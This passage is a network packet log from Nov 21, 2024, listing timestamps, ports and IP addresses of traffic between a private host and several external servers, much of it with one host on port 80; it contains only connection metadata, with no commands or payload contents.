Nov 21, 2024 22:05:01.180015087 CET	443	49910	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:01.180253029 CET	49910	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:01.180394888 CET	49910	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:01.180412054 CET	443	49910	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:01.180552006 CET	49910	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:01.180552006 CET	49910	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:01.187338114 CET	443	49906	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:01.187364101 CET	443	49906	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:01.187422037 CET	49906	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:01.187434912 CET	443	49906	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:01.188390970 CET	443	49906	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:01.188854933 CET	49906	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:01.189271927 CET	49906	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:01.189281940 CET	443	49906	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:01.207817078 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.207870007 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.207935095 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.207973003 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.208012104 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.208045959 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.208105087 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.208137035 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.208976030 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.209029913 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.209064960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.209099054 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.209855080 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.209913015 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.209992886 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.210027933 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.210740089 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.210797071 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.210879087 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.211570978 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.211606979 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.211637020 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.211697102 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.211730003 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.212467909 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.212502956 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.212554932 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.212587118 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.213396072 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.213442087 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.213519096 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.213551998 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.214281082 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.214371920 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.214387894 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.214410067 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.215176105 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.215240955 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.215300083 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.215332031 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.216031075 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.216068983 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.216104984 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.216136932 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.216886044 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.216931105 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.217032909 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.217067957 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.217783928 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.217827082 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.235074997 CET	443	49913	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:01.235152960 CET	443	49913	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:01.235222101 CET	49913	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:01.236474991 CET	49913	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:01.236490965 CET	443	49913	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:01.241610050 CET	49930	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:01.241635084 CET	443	49930	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:01.241699934 CET	49930	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:01.241935015 CET	49930	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:01.241945982 CET	443	49930	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:01.264707088 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.264771938 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.264782906 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.264813900 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.265256882 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.265269041 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.265305042 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.266086102 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.266098976 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.266127110 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.266156912 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.266988039 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.267036915 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.267055035 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.267090082 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.267695904 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.267743111 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.267772913 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.267806053 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.268656969 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.268711090 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.268716097 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.268795013 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.269541025 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.269592047 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.269598961 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.269639015 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.270384073 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.270435095 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.270478964 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.271254063 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.271266937 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.271302938 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.271325111 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.272119045 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.272193909 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.272245884 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.272286892 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.273040056 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.273051977 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.273082018 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.273092031 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.332680941 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.332745075 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.332847118 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.332906008 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.333072901 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.333122015 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.333132982 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.333165884 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.333873987 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.333916903 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.333962917 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.333997965 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.334676027 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.334723949 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.334775925 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.334805012 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.335599899 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.335634947 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.335666895 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.335697889 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.336464882 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.336602926 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.336647987 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.337299109 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.337346077 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.337357998 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.337394953 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.338244915 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.338344097 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.338372946 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.338388920 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.339196920 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.339278936 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.339354992 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.339399099 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.340010881 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.340060949 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.340181112 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.340297937 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.340883017 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.340939045 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.341078997 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.341128111 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.341737032 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.341778994 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.341779947 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.341818094 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.379503012 CET	443	49914	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:01.382210970 CET	49914	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:01.382224083 CET	443	49914	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:01.383042097 CET	49914	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:01.383047104 CET	443	49914	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:01.405564070 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.459378004 CET	443	49918	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.459441900 CET	443	49919	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.459456921 CET	443	49918	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.459461927 CET	443	49919	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.459501982 CET	49918	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.459527016 CET	443	49919	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.459544897 CET	49919	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.459583998 CET	49919	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.461592913 CET	49918	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.461608887 CET	443	49918	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.462140083 CET	49919	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.462161064 CET	443	49919	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.516175985 CET	443	49915	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.516201019 CET	443	49915	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.516273022 CET	49915	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.516280890 CET	443	49915	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.516340017 CET	49915	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.517400980 CET	49915	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.517419100 CET	443	49915	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.525780916 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.526487112 CET	443	49920	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.526519060 CET	443	49920	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.526529074 CET	443	49920	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.526554108 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.526565075 CET	443	49920	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.526614904 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.527861118 CET	443	49917	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.527884960 CET	443	49917	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.527915955 CET	443	49917	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.527951956 CET	443	49917	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.527956009 CET	49917	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.527991056 CET	49917	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.529326916 CET	443	49920	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.529499054 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.531332970 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.531352043 CET	443	49920	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.531369925 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.531423092 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.533721924 CET	49917	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.533735037 CET	443	49917	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.591461897 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.591485977 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.591494083 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.591507912 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.591536999 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.591559887 CET	49916	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.591576099 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.591594934 CET	49916	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.591617107 CET	49916	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.630961895 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.631009102 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.631042957 CET	49916	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.631051064 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.631102085 CET	49916	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.631638050 CET	49916	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.631654024 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.842786074 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.842844009 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.842858076 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.842895031 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.843009949 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.843470097 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.843513966 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.843880892 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.843921900 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.844038963 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.844512939 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.844753981 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.844791889 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.844944954 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.844983101 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.845666885 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.845722914 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.845779896 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.845815897 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.846554041 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.846595049 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.847440004 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.847451925 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.847482920 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.847594023 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.847632885 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.848397017 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.848438025 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.848862886 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.848902941 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.849179983 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.849234104 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.849661112 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.849701881 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.850102901 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.850114107 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.850145102 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.851002932 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.851129055 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.851135969 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.851181030 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.851851940 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.851895094 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.851926088 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.851965904 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.852782965 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.852826118 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.852992058 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.853033066 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.853615046 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.853657961 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.853907108 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.854238033 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.854504108 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.854541063 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.854861021 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.854904890 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.855460882 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.855508089 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.855618954 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.855875969 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.856271982 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.856312990 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.856314898 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.856352091 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.857140064 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.857182980 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.857213974 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.857296944 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.858144999 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.858189106 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.858258963 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.858392000 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.858982086 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.859106064 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.859113932 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.859206915 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.859863043 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.859910011 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.859910965 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.859952927 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.860763073 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.860810995 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.860975027 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.861022949 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.861594915 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.861644030 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.861804008 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.861888885 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.862428904 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.862479925 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.862556934 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.862617970 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.863327026 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.863431931 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.863456964 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.863481045 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.864217043 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.864419937 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.864444017 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.864479065 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.865118027 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.865179062 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.865180016 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.865215063 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.865984917 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.866027117 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.866087914 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.866143942 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.866949081 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.866961956 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.866998911 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.867014885 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.867754936 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.867799044 CET	49819	80	192.168.2.7	185.215.113.206
